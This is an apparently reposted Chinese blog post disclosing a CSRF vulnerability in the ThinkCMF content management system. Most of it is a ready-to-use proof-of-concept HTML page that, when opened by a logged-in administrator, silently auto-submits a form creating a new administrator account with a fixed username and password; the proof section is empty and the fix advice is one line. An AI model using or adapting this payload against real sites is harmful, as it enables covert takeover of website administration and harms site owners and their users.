ThinkCMF存在CSRF漏洞可创建管理员账号

匿名 (未验证) 提交于 2019-12-02 23:43:01

thinkCMF官网: https://www.thinkcmf.com/

一、POC

当管理员登录后,打开包含以下内容的网页,就会自动创建一个管理员账号。
注:需要把url变量中的http://tp.im更改为安装时设置的域名。
以下内容保存为一个html网页,如test.html。

<html><body> <script type="text/javascript"> function post(url, fields) { var p = document.createElement("form"); p.action = url; p.innerHTML = fields; p.target = "_self"; p.method = "post"; document.body.appendChild(p); p.submit(); } function csrf_hack() { var fields; fields += " <input type=\"hidden\" name=\"user&#95;login\" value=\"CSRFadministrator\" />"; fields += " <input type=\"hidden\" name=\"user&#95;pass\" value=\"admin1234\" />"; fields += " <input type=\"hidden\" name=\"user&#95;email\" value=\"456&#64;bing&#46;com\" />"; fields += " <input type=\"hidden\" name=\"role&#95;id&#91;&#93;\" value=\"1\" />";  var url = "http://tp.im/admin/user/addpost.html"; post(url, fields); } window.onload = function(){csrf_hack();} </script> </body></html> 

二、漏洞证明:

修复建议:设置CSRF-token保护。
文章来源: https://blog.csdn.net/yun2diao/article/details/92573188
标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!